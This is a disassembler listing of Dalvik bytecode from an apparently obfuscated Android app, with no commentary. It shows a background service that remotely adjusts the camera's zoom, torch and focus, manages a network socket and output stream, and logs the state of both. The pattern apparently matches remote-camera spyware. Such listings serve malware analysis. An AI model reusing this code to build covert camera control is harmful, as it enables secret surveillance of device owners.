    00084ae2invoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->close()V
    00084ae8invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->close()V
    00084aeegoto/16 :goto_2e3
    00084af2invoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->close()V
    00084af8goto/16 :goto_2e3
    00084afcnew-instance v13, Ljava/lang/StringBuilder;
    00084b00invoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
    00084b06sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00084b0ainvoke-static {v1, v2, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084b10move-result-object v1
    00084b12invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084b18sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00084b1cinvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084b22const-string v1, "outputStream =null"
    00084b26invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084b2csget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00084b30invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084b36sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00084b3ainvoke-static {v1, v2, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084b40move-result-object v1
    00084b42invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084b48invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00084b4emove-result-object v13
    00084b50invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00084b56goto/16 :goto_2e3
    00084b5anew-instance v13, Ljava/lang/StringBuilder;
    00084b5einvoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
    00084b64sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00084b68invoke-static {v1, v2, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084b6emove-result-object v1
    00084b70invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084b76sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00084b7ainvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084b80const-string v1, "ctd =false"
    00084b84invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084b8asget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00084b8einvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084b94sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00084b98invoke-static {v1, v2, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084b9emove-result-object v1
    00084ba0invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084ba6invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00084bacmove-result-object v13
    00084baegoto :goto_25c
    00084bb0new-instance v13, Ljava/lang/StringBuilder;
    00084bb4invoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
    00084bbasget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00084bbeinvoke-static {v1, v2, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084bc4move-result-object v1
    00084bc6invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084bccsget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00084bd0invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084bd6const-string v1, "socket =null"
    00084bdainvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084be0sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00084be4invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084beasget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00084beeinvoke-static {v1, v2, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084bf4move-result-object v1
    00084bf6invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084bfcinvoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00084c02move-result-object v13
    00084c04goto :goto_25c
    00084c06new-instance v13, Ljava/lang/StringBuilder;
    00084c0ainvoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
    00084c10sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00084c14invoke-static {v1, v2, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084c1amove-result-object v1
    00084c1cinvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084c22sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00084c26invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084c2cconst-string v1, "camera =null"
    00084c30invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084c36sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00084c3ainvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084c40sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00084c44invoke-static {v1, v2, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084c4amove-result-object v1
    00084c4cinvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084c52invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00084c58move-result-object v13
    00084c5agoto/16 :goto_25c
    00084c5eiget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084c62invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->e(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
    00084c68move-result-object v13
    00084c6ainvoke-interface {v13}, Ljava/util/List;->size()I
    00084c70move-result v13
    00084c72if-lez v13, :cond_2f8
    00084c76iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084c7ainvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->e(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
    00084c80move-result-object v13
    00084c82invoke-interface {v13, v0}, Ljava/util/List;->remove(I)Ljava/lang/Object;
    00084c88iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084c8cinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->f(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
    00084c92move-result-object v13
    00084c94invoke-interface {v13}, Ljava/util/List;->size()I
    00084c9amove-result v13
    00084c9cif-lez v13, :cond_30d
    00084ca0iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084ca4invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->f(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
    00084caamove-result-object v13
    00084cacinvoke-interface {v13, v0}, Ljava/util/List;->remove(I)Ljava/lang/Object;
    00084cb2iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084cb6iget-object v0, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084cbainvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C5;->c(Lcmf0/c3b5bm90zq/patch/C5;)J
    00084cc0move-result-wide v0
    00084cc2const-wide/16 v2, 0x1
    00084cc6add-long/2addr v0, v2
    00084cc8invoke-static {v13, v0, v1}, Lcmf0/c3b5bm90zq/patch/C5;->c(Lcmf0/c3b5bm90zq/patch/C5;J)J
    00084ccegoto/16 :goto_0
    00084cd2nop
    00084cd4goto/16 :goto_0
    00084cd8const-string v13, "-->"
    00084cdcreturn-object v13
    00084688
    00084cde
    00084cde struct code_item_padding
    00084cde padding uint16 0x0000
    00084ce0
    00084ce0 struct try_item
    00084ce0 start_addr uint32 0x846a8
    00084ce4 insn_count int 424
    00084ce6 handler_off uint16 0x84d21
    00084ce8
    00084ce8 struct try_item
    00084ce8 start_addr uint32 0x849f8
    00084cec insn_count int 86
    00084cee handler_off uint16 0x84d2a
    00084cf0
    00084cf0 struct try_item
    00084cf0 start_addr uint32 0x84aa8
    00084cf4 insn_count int 3
    00084cf6 handler_off uint16 0x84d2d
    00084cf8
    00084cf8 struct try_item
    00084cf8 start_addr uint32 0x84aae
    00084cfc insn_count int 9
    00084cfe handler_off uint16 0x84d34
    00084d00
    00084d00 struct try_item
    00084d00 start_addr uint32 0x84ac0
    00084d04 insn_count int 5
    00084d06 handler_off uint16 0x84d2a
    00084d08
    00084d08 struct try_item
    00084d08 start_addr uint32 0x84aca
    00084d0c insn_count int 1
    00084d0e handler_off uint16 0x84d21
    00084d10
    00084d10 struct try_item
    00084d10 start_addr uint32 0x84acc
    00084d14 insn_count int 22
    00084d16 handler_off uint16 0x84d3b
    00084d18
    00084d18 struct try_item
    00084d18 start_addr uint32 0x84afc
    00084d1c insn_count int 233
    00084d1e handler_off uint16 0x84d21
    00084d20
    00084d20 struct encoded_catch_handler_list
    00084d20 size int 5
    00084d21
    00084d21 struct encoded_catch_handler ← 0x84ce6 0x84d0e 0x84d1e
    00084d21 size int64 2
    00084d22 handlers[0].type_idx int 0x59cc
    00084d24 handlers[0].addr uint32 0x84cd2
    00084d26 handlers[1].type_idx int 0x5994
    00084d28 handlers[1].addr uint32 0x84cd2
    00084d2a
    00084d2a struct encoded_catch_handler ← 0x84cee 0x84d06
    00084d2a size int64 0
    00084d2b catch_all_addr uint32 0x84ac6
    00084d2d
    00084d2d struct encoded_catch_handler ← 0x84cf6
    00084d2d size int64 -1
    00084d2e handlers[0].type_idx int 0x59ac
    00084d30 handlers[0].addr uint32 0x84aae
    00084d32 catch_all_addr uint32 0x84ac6
    00084d34
    00084d34 struct encoded_catch_handler ← 0x84cfe
    00084d34 size int64 -1
    00084d35 handlers[0].type_idx int 0x5994
    00084d37 handlers[0].addr uint32 0x84ac0
    00084d39 catch_all_addr uint32 0x84ac6
    00084d3b
    00084d3b struct encoded_catch_handler ← 0x84d16
    00084d3b size int64 2
    00084d3c handlers[0].type_idx int 0x5994
    00084d3e handlers[0].addr uint32 0x84c5e
    00084d40 handlers[1].type_idx int 0x59cc
    00084d42 handlers[1].addr uint32 0x84cd2
    00084d44
    00084d44cmf0.c3b5bm90zq.patch.C5$a::a(java.lang.String):
    00084d54invoke-super {v0, v1}, Landroid/os/AsyncTask;->onPostExecute(Ljava/lang/Object;)V
    00084d5areturn-void
    00084d44
    00084d5c
    00084d5ccmf0.c3b5bm90zq.patch.C5$a::a(java.lang.Integer[]):
    00084d6cinvoke-super {v0, v1}, Landroid/os/AsyncTask;->onProgressUpdate([Ljava/lang/Object;)V
    00084d72return-void
    00084d5c
    00084d74
    00084d74cmf0.c3b5bm90zq.patch.C5$a::doInBackground(java.lang.Object[]):
    00084d84invoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/C5$a;->a([Ljava/lang/Object;)Ljava/lang/String;
    00084d8amove-result-object v1
    00084d8creturn-object v1
    00084d74
    00084d8e
    00084d8e // align 0x10
    00084d90
    00084d90cmf0.c3b5bm90zq.patch.C5$a::onPostExecute(java.lang.Object):
    00084da0check-cast v1, Ljava/lang/String;
    00084da4invoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/C5$a;->a(Ljava/lang/String;)V
    00084daareturn-void
    00084d90
    00084dac
    00084daccmf0.c3b5bm90zq.patch.C5$a::onPreExecute():
    00084dbcinvoke-super {v0}, Landroid/os/AsyncTask;->onPreExecute()V
    00084dc2return-void
    00084dac
    00084dc4
    00084dc4cmf0.c3b5bm90zq.patch.C5$a::onProgressUpdate(java.lang.Object[]):
    00084dd4check-cast v1, [Ljava/lang/Integer;
    00084dd8invoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/C5$a;->a([Ljava/lang/Integer;)V
    00084ddereturn-void
    00084dc4
    00084de0
    00084de0cmf0.c3b5bm90zq.patch.C5::<clinit>():
    00084df0new-instance v0, Ljava/lang/Object;
    00084df4invoke-direct {v0}, Ljava/lang/Object;-><init>()V
    00084dfasput-object v0, Lcmf0/c3b5bm90zq/patch/C5;->t:Ljava/lang/Object;
    00084dfereturn-void
    00084de0
    00084e00
    00084e00cmf0.c3b5bm90zq.patch.C5::<init>():
    00084e10invoke-direct {v3}, Landroid/app/Service;-><init>()V
    00084e16const-wide/16 v0, 0x0
    00084e1aiput-wide v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->r:J
    00084e1eiput-wide v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->s:J
    00084e22const/4 v0, 0x0
    00084e24iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
    00084e28iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->c:Z
    00084e2ciput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->l:Z
    00084e30invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
    00084e36move-result-wide v1
    00084e38iput-wide v1, v3, Lcmf0/c3b5bm90zq/patch/C5;->u:J
    00084e3cconst/16 v1, 0x43
    00084e40iput v1, v3, Lcmf0/c3b5bm90zq/patch/C5;->v:I
    00084e44iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->w:Z
    00084e48new-instance v0, Ljava/util/ArrayList;
    00084e4cinvoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
    00084e52iput-object v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->x:Ljava/util/List;
    00084e56new-instance v0, Ljava/util/ArrayList;
    00084e5ainvoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
    00084e60iput-object v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->y:Ljava/util/List;
    00084e64return-void
    00084e00
    00084e66
    00084e66 // align 0x8
    00084e68
    00084e68cmf0.c3b5bm90zq.patch.C5::a(cmf0.c3b5bm90zq.patch.C5, long):
    00084e78iput-wide v1, v0, Lcmf0/c3b5bm90zq/patch/C5;->r:J
    00084e7creturn-wide v1
    00084e68
    00084e7e
    00084e7e // align 0x10
    00084e80
    00084e80cmf0.c3b5bm90zq.patch.C5::a(cmf0.c3b5bm90zq.patch.C5, java.io.OutputStream):
    00084e90iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C5;->n:Ljava/io/OutputStream;
    00084e94return-object v1
    00084e80
    00084e96
    00084e96 // align 0x8
    00084e98
    00084e98cmf0.c3b5bm90zq.patch.C5::a(java.net.Socket):
    00084ea8sput-object v0, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
    00084eacreturn-object v0
    00084e98
    00084eae
    00084eae // align 0x10
    00084eb0
    00084eb0cmf0.c3b5bm90zq.patch.C5::a(cmf0.c3b5bm90zq.patch.C5):
    00084ec0invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C5;->f()V
    00084ec6return-void
    00084eb0
    00084ec8
    00084ec8cmf0.c3b5bm90zq.patch.C5::a(cmf0.c3b5bm90zq.patch.C5, boolean):
    00084ed8iput-boolean v1, v0, Lcmf0/c3b5bm90zq/patch/C5;->w:Z
    00084edcreturn v1
    00084ec8
    00084ede
    00084ede // align 0x10
    00084ee0
    00084ee0cmf0.c3b5bm90zq.patch.C5::b(cmf0.c3b5bm90zq.patch.C5, long):
    00084ef0iput-wide v1, v0, Lcmf0/c3b5bm90zq/patch/C5;->u:J
    00084ef4return-wide v1
    00084ee0
    00084ef6
    00084ef6 // align 0x8
    00084ef8
    00084ef8cmf0.c3b5bm90zq.patch.C5::b(cmf0.c3b5bm90zq.patch.C5):
    00084f08iget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C5;->n:Ljava/io/OutputStream;
    00084f0creturn-object v0
    00084ef8
    00084f0e
    00084f0e // align 0x10
    00084f10
    00084f10cmf0.c3b5bm90zq.patch.C5::c(cmf0.c3b5bm90zq.patch.C5):
    00084f20iget-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C5;->s:J
    00084f24return-wide v0
    00084f10
    00084f26
    00084f26 // align 0x8
    00084f28
    00084f28cmf0.c3b5bm90zq.patch.C5::c(cmf0.c3b5bm90zq.patch.C5, long):
    00084f38iput-wide v1, v0, Lcmf0/c3b5bm90zq/patch/C5;->s:J
    00084f3creturn-wide v1
    00084f28
    00084f3e
    00084f3e // align 0x10
    00084f40
    00084f40cmf0.c3b5bm90zq.patch.C5::c():
    00084f50sget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    00084f54if-eqz v0, :cond_bd
    00084f58sget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
    00084f5cif-eqz v0, :cond_bd
    00084f60sget v0, Lcmf0/c3b5bm90zq/patch/C11;->x:I
    00084f64sget v1, Lcmf0/c3b5bm90zq/patch/C5;->k:I
    00084f68if-eq v0, v1, :cond_12
    00084f6csget v0, Lcmf0/c3b5bm90zq/patch/C11;->x:I
    00084f70sput v0, Lcmf0/c3b5bm90zq/patch/C5;->k:I
    00084f74sget v0, Lcmf0/c3b5bm90zq/patch/C11;->t:I
    00084f78sget v1, Lcmf0/c3b5bm90zq/patch/C5;->g:I
    00084f7cif-eq v0, v1, :cond_1c
    00084f80sget v0, Lcmf0/c3b5bm90zq/patch/C11;->t:I
    00084f84sput v0, Lcmf0/c3b5bm90zq/patch/C5;->g:I
    00084f88sget v0, Lcmf0/c3b5bm90zq/patch/C11;->w:I
    00084f8csget v1, Lcmf0/c3b5bm90zq/patch/C5;->j:I
    00084f90if-eq v0, v1, :cond_3c
    00084f94sget v0, Lcmf0/c3b5bm90zq/patch/C11;->w:I
    00084f98sput v0, Lcmf0/c3b5bm90zq/patch/C5;->j:I
    00084f9csget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    00084fa0invoke-virtual {v0}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
    00084fa6move-result-object v0
    00084fa8invoke-virtual {v0}, Landroid/hardware/Camera$Parameters;->isZoomSupported()Z
    00084faemove-result v1
    00084fb0if-eqz v1, :cond_3c
    00084fb4sget v1, Lcmf0/c3b5bm90zq/patch/C5;->j:I
    00084fb8invoke-virtual {v0, v1}, Landroid/hardware/Camera$Parameters;->setZoom(I)V
    00084fbesget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    00084fc2invoke-virtual {v1, v0}, Landroid/hardware/Camera;->setParameters(Landroid/hardware/Camera$Parameters;)V
    00084fc8sget v0, Lcmf0/c3b5bm90zq/patch/C11;->u:I
    00084fccsget v1, Lcmf0/c3b5bm90zq/patch/C5;->h:I
    00084fd0const/4 v2, 0x1
    00084fd2if-eq v0, v1, :cond_83
    00084fd6sget v0, Lcmf0/c3b5bm90zq/patch/C11;->u:I
    00084fdasput v0, Lcmf0/c3b5bm90zq/patch/C5;->h:I
    00084fdesget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    00084fe2invoke-virtual {v0}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
    00084fe8move-result-object v0
    00084feainvoke-virtual {v0}, Landroid/hardware/Camera$Parameters;->getSupportedFlashModes()Ljava/util/List;
    00084ff0move-result-object v1
    00084ff2sget-object v3, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    00084ff6invoke-virtual {v3}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
    00084ffcmove-result-object v3
    00084ffeinvoke-virtual {v3}, Landroid/hardware/Camera$Parameters;->getSupportedFlashModes()Ljava/util/List;
    00085004move-result-object v3
    00085006if-eqz v3, :cond_83
    0008500asget v3, Lcmf0/c3b5bm90zq/patch/C5;->h:I
    0008500eif-ne v3, v2, :cond_6f
    00085012const-string v3, "torch"
    00085016invoke-interface {v1, v3}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
    0008501cmove-result v1
    0008501eif-eqz v1, :cond_7e
    00085022const-string v1, "torch"
    00085026invoke-virtual {v0, v1}, Landroid/hardware/Camera$Parameters;->setFlashMode(Ljava/lang/String;)V
    0008502cgoto :goto_7e
    0008502esget v3, Lcmf0/c3b5bm90zq/patch/C5;->h:I
    00085032if-nez v3, :cond_7e
    00085036const-string v3, "torch"
    0008503ainvoke-interface {v1, v3}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
    00085040move-result v1
    00085042if-eqz v1, :cond_7e
    00085046const-string v1, "off"
    0008504agoto :goto_6b
    0008504csget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    00085050invoke-virtual {v1, v0}, Landroid/hardware/Camera;->setParameters(Landroid/hardware/Camera$Parameters;)V
    00085056sget v0, Lcmf0/c3b5bm90zq/patch/C11;->v:I
    0008505asget v1, Lcmf0/c3b5bm90zq/patch/C5;->i:I
    0008505eif-eq v0, v1, :cond_bd
    00085062sget v0, Lcmf0/c3b5bm90zq/patch/C11;->v:I
    00085066sput v0, Lcmf0/c3b5bm90zq/patch/C5;->i:I
    0008506asget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    0008506einvoke-virtual {v0}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
    00085074move-result-object v0
    00085076invoke-virtual {v0}, Landroid/hardware/Camera$Parameters;->getSupportedFocusModes()Ljava/util/List;
    0008507cmove-result-object v1
    0008507esget v3, Lcmf0/c3b5bm90zq/patch/C5;->i:I
    00085082if-ne v3, v2, :cond_a9
    00085086const-string v2, "continuous-video"
    0008508ainvoke-interface {v1, v2}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
    00085090move-result v1
    00085092if-eqz v1, :cond_b8
    00085096const-string v1, "continuous-video"
    0008509ainvoke-virtual {v0, v1}, Landroid/hardware/Camera$Parameters;->setFocusMode(Ljava/lang/String;)V
    000850a0goto :goto_b8
    000850a2sget v2, Lcmf0/c3b5bm90zq/patch/C5;->i:I
    000850a6if-nez v2, :cond_b8
    000850aaconst-string v2, "auto"
    000850aeinvoke-interface {v1, v2}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
    000850b4move-result v1
    000850b6if-eqz v1, :cond_b8
    000850baconst-string v1, "auto"
    000850begoto :goto_a5
    000850c0sget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    000850c4invoke-virtual {v1, v0}, Landroid/hardware/Camera;->setParameters(Landroid/hardware/Camera$Parameters;)V
    000850careturn-void
    00084f40
    000850cc
    000850cc struct try_item
    000850cc start_addr uint32 0x84f50
    000850d0 insn_count int 189
    000850d2 handler_off uint16 0x850d5
    000850d4
    000850d4 struct encoded_catch_handler_list
    000850d4 size int 1
    000850d5
    000850d5 struct encoded_catch_handler ← 0x850d2
    000850d5 size int64 1
    000850d6 handlers[0].type_idx int 0x5994
    000850d8 handlers[0].addr uint32 0x850ca
    000850da
    000850da // align 0x4
    000850dc
    000850dccmf0.c3b5bm90zq.patch.C5::d(cmf0.c3b5bm90zq.patch.C5):
    000850eciget-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C5;->r:J
    000850f0return-wide v0
    000850dc
    000850f2
    000850f2 // align 0x4
    000850f4
    000850f4cmf0.c3b5bm90zq.patch.C5::d():
    00085104sget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
    00085108return-object v0
    000850f4
    0008510a
    0008510a // align 0x4
    0008510c
    0008510ccmf0.c3b5bm90zq.patch.C5::e():
    0008511csget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->t:Ljava/lang/Object;
    00085120return-object v0
    0008510c
    00085122
    00085122 // align 0x4
    00085124
    00085124cmf0.c3b5bm90zq.patch.C5::e(cmf0.c3b5bm90zq.patch.C5):
    00085134iget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C5;->x:Ljava/util/List;
    00085138return-object v0
    00085124
    0008513a
    0008513a // align 0x4
    0008513c
    0008513ccmf0.c3b5bm90zq.patch.C5::f(cmf0.c3b5bm90zq.patch.C5):
    0008514ciget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C5;->y:Ljava/util/List;
    00085150return-object v0
    0008513c
    00085152
    00085152 // align 0x4
    00085154
    00085154cmf0.c3b5bm90zq.patch.C5::f():
    00085164const/4 v0, 0x0
    00085166sget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
    0008516aif-eqz v1, :cond_c
    0008516esget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
    00085172invoke-virtual {v1}, Ljava/net/Socket;->close()V
    00085178sput-object v0, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
    0008517ciget-object v1, v2, Lcmf0/c3b5bm90zq/patch/C5;->n:Ljava/io/OutputStream;
    00085180if-eqz v1, :cond_17
    00085184iget-object v1, v2, Lcmf0/c3b5bm90zq/patch/C5;->n:Ljava/io/OutputStream;
    00085188invoke-virtual {v1}, Ljava/io/OutputStream;->close()V
    0008518eiput-object v0, v2, Lcmf0/c3b5bm90zq/patch/C5;->n:Ljava/io/OutputStream;
    00085192return-void
    00085154
    00085194
    00085194 struct try_item
    00085194 start_addr uint32 0x85166
    00085198 insn_count int 11
    0008519a handler_off uint16 0x851a5
    0008519c
    0008519c struct try_item
    0008519c start_addr uint32 0x8517c
    000851a0 insn_count int 11
    000851a2 handler_off uint16 0x851a9
    000851a4
    000851a4 struct encoded_catch_handler_list
    000851a4 size int 2
    000851a5
    000851a5 struct encoded_catch_handler ← 0x8519a
    000851a5 size int64 1
    000851a6 handlers[0].type_idx int 0x5994
    000851a8 handlers[0].addr uint32 0x8517c
    000851a9
    000851a9 struct encoded_catch_handler ← 0x851a2
    000851a9 size int64 1
    000851aa handlers[0].type_idx int 0x5994
    000851ac handlers[0].addr uint32 0x85192
    000851ad
    000851ad // align 0x10
    000851b0
    000851b0cmf0.c3b5bm90zq.patch.C5::g(cmf0.c3b5bm90zq.patch.C5):
    000851c0iget-boolean v0, v0, Lcmf0/c3b5bm90zq/patch/C5;->w:Z
    000851c4return v0
    000851b0
    000851c6
    000851c6 // align 0x8
    000851c8
    000851c8cmf0.c3b5bm90zq.patch.C5::h(cmf0.c3b5bm90zq.patch.C5):
    000851d8iget-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C5;->u:J
    000851dcreturn-wide v0
    000851c8
    000851de
    000851de // align 0x10
    000851e0
    000851e0cmf0.c3b5bm90zq.patch.C5::i(cmf0.c3b5bm90zq.patch.C5):
    000851f0iget v0, v0, Lcmf0/c3b5bm90zq/patch/C5;->v:I
    000851f4return v0
    000851e0
    000851f6
    000851f6 // align 0x8
    000851f8
    000851f8cmf0.c3b5bm90zq.patch.C5::a(java.lang.String):
    00085208new-instance v0, Ljava/lang/Thread;
    0008520cnew-instance v1, Lcmf0/c3b5bm90zq/patch/C5$2;
    00085210invoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C5$2;-><init>(Lcmf0/c3b5bm90zq/patch/C5;Ljava/lang/String;)V
    00085216invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    0008521cinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
    00085222return-void
    000851f8
    00085224
    00085224cmf0.c3b5bm90zq.patch.C5::a(java.lang.String, int):
    00085234new-instance v0, Ljava/lang/Thread;
    00085238new-instance v1, Lcmf0/c3b5bm90zq/patch/C5$1;
    0008523cinvoke-direct {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C5$1;-><init>(Lcmf0/c3b5bm90zq/patch/C5;Ljava/lang/String;I)V
    00085242invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00085248invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    0008524ereturn-void
    00085224
    00085250
